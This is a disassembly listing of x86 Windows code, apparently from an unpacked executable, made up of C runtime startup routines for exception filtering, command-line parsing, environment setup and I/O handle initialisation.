		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2630502h
		nop


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2630000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 26303BBh
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2630000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2630402h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2880000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 26202CBh
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2620AB5h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 26202CBh
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		nop
		call	near ptr 2620CF0h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
		jnz	loc_423719
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
